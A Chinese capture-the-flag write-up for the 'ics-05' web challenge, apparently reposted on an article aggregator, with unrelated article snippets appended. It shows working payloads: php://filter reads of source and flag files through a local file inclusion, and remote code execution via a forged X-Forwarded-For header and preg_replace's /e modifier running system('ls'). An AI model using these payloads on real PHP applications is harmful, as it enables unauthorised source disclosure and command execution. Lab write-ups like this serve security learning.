web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件)

2023-12-01 16:20

本文主要是介绍web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

题目

打开页面显示如下

只有这个页面能打开

显示如下

用dirsearch扫一下

查看了一下,发现没什么用

查看页面源代码

返回了,写入的参数,猜测可能有文件包含漏洞

用php伪协议读取文件

构造payload

?page=php://filter/read=convert.base64-encode/resource=index.php

显示如下

base64解码可得

<?php
error_reporting(0);@session_start();
posix_setuid(1000);?>
<!DOCTYPE HTML>
<html><head><meta charset="utf-8"><meta name="renderer" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="stylesheet" href="layui/css/layui.css" media="all"><title>设å¤ç»´æ¤ä¸­å¿</title><meta charset="utf-8">
</head><body><ul class="layui-nav"><li class="layui-nav-item layui-this"><a href="?page=index">äºå¹³å°è®¾å¤ç»´æ¤ä¸­å¿</a></li></ul><fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;"><legend>设å¤å表</legend></fieldset><table class="layui-hide" id="test"></table><script type="text/html" id="switchTpl"><!-- è¿éç checked çç¶æåªæ¯æ¼ç¤º --><input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="å¼|å³" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}></script><script src="layui/layui.js" charset="utf-8"></script><script>layui.use('table', function() {var table = layui.table,form = layui.form;table.render({elem: '#test',url: '/somrthing.json',cellMinWidth: 80,cols: [[{ type: 'numbers' },{ type: 'checkbox' },{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },{ field: 'name', title: '设å¤å', templet: '#nameTpl' },{ field: 'area', title: 'åºå' },{ field: 'status', title: 'ç»´æ¤ç¶æ', minWidth: 120, sort: true },{ field: 'check', title: '设å¤å¼å³', width: 85, templet: '#switchTpl', unresize: true }]],page: true});});</script><script>layui.use('element', function() {var element = layui.element; //导èªçhoverææãäºçº§èåç­åè½ï¼éè¦ä¾èµelement模å//çå¬å¯¼èªç¹å»element.on('nav(demo)', function(elem) {//console.log(elem)layer.msg(elem.text());});});</script><?php$page = $_GET[page];if (isset($page)) {if (ctype_alnum($page)) {
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?php echo $page; die();?></p><br /><br /><br /><br /><?php}else{?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?phpif (strpos($page, 'input') > 0) { //禁用了inputdie();}if (strpos($page, 'ta:text') > 0) {die();}if (strpos($page, 'text') > 0) {die();}if ($page === 'index.php') {die('Ok');}include($page);die();?></p><br /><br /><br /><br /><?php
}}//æ¹ä¾¿çå®ç°è¾å¥è¾åºçåè½,æ­£å¨å¼å中çåè½ï¼åªè½åé¨äººåæµè¯if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { //请求ip地址为127.0.0.1会返回welcome my admin!echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}?></body></html>

ctype_alnum($text)函数会匹配传入参数中是否全为数字或者字母,如果是返回true,否则返回false。

strpos(string,find,start) 函数查找find在另一字符串string中第一次出现的位置(大小写敏感)。

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行。

用bp伪造xff执行

利用preg_replace函数/e漏洞

preg_replace()函数的/e漏洞
正确的php system()函数的书写

preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern:       要搜索的模式,可以是字符串或一个字符串数组。
$replacement:   用于替换的字符串或字符串数组。
$subject:       要搜索替换的目标字符串或字符串数组。

就是替换字符串,要使 replacement 参数是我们想要的php代码即可

代码分析

123 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1')  //使用插件X-Forwarded-For Header改地址,{                                                
124 
125     echo "<br >Welcome My Admin ! <br >";
126 
127     $pattern = $_GET[pat];
128     $replacement = $_GET[rep];                      //判断三个变量存不存在,在进行perg_replace函数
129     $subject = $_GET[sub];                        
130                                 //这里的三个变量都是由我们输入,就方便多了                      
131     if (isset($pattern) && isset($replacement) && isset($subject)) {
132         preg_replace($pattern, $replacement, $subject);
133     }else{
134         die();
135     }

先测试一下

payload如下

?pat=/test/e&rep=phpinfo()&sub=test 

测试成功,成功返回执行phpinfo()

构造payload

?pat=/test/e&rep=var_dump(`dir`)&sub=test
or
pat=/php/e&rep=system("ls")&sub=test

显示如下

得到目录s3chahahaDir

访问后显示如下

进入flag/,发现flag.php

直接点进去是空白的

通过伪协议读取flag.php

payload

?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php

得到

base64解码,得到flag

参考文章内容

ics-05(命令执行漏洞及伪协议读取)

这篇关于web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/441842

相关文章

hdu1171(母函数或多重背包)

题意:把物品分成两份,使得价值最接近 可以用背包,或者是母函数来解,母函数(1 + x^v+x^2v+.....+x^num*v)(1 + x^v+x^2v+.....+x^num*v)(1 + x^v+x^2v+.....+x^num*v) 其中指数为价值,每一项的数目为(该物品数+1)个 代码如下: #include<iostream>#include<algorithm>

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

C++操作符重载实例(独立函数)

C++操作符重载实例,我们把坐标值CVector的加法进行重载,计算c3=c1+c2时,也就是计算x3=x1+x2,y3=y1+y2,今天我们以独立函数的方式重载操作符+(加号),以下是C++代码: c1802.cpp源代码: D:\YcjWork\CppTour>vim c1802.cpp #include <iostream>using namespace std;/*** 以独立函数

【Linux】应用层http协议

一、HTTP协议 1.1 简要介绍一下HTTP        我们在网络的应用层中可以自己定义协议,但是,已经有大佬定义了一些现成的,非常好用的应用层协议,供我们直接使用,HTTP(超文本传输协议)就是其中之一。        在互联网世界中,HTTP(超文本传输协议)是一个至关重要的协议,他定义了客户端(如浏览器)与服务器之间如何进行通信,以交换或者传输超文本(比如HTML文档)。

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

函数式编程思想

我们经常会用到各种各样的编程思想,例如面向过程、面向对象。不过笔者在该博客简单介绍一下函数式编程思想. 如果对函数式编程思想进行概括,就是f(x) = na(x) , y=uf(x)…至于其他的编程思想,可能是y=a(x)+b(x)+c(x)…,也有可能是y=f(x)=f(x)/a + f(x)/b+f(x)/c… 面向过程的指令式编程 面向过程,简单理解就是y=a(x)+b(x)+c(x)

忽略某些文件 —— Git 学习笔记 05

忽略某些文件 忽略某些文件 通过.gitignore文件其他规则源如何选择规则源参考资料 对于某些文件,我们不希望把它们纳入 Git 的管理,也不希望它们总出现在未跟踪文件列表。通常它们都是些自动生成的文件,比如日志文件、编译过程中创建的临时文件等。 通过.gitignore文件 假设我们要忽略 lib.a 文件,那我们可以在 lib.a 所在目录下创建一个名为 .gi

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

matlab读取NC文件(含group)

matlab读取NC文件(含group): NC文件数据结构: 代码: % 打开 NetCDF 文件filename = 'your_file.nc'; % 替换为你的文件名% 使用 netcdf.open 函数打开文件ncid = netcdf.open(filename, 'NC_NOWRITE');% 查看文件中的组% 假设我们想读取名为 "group1" 的组groupName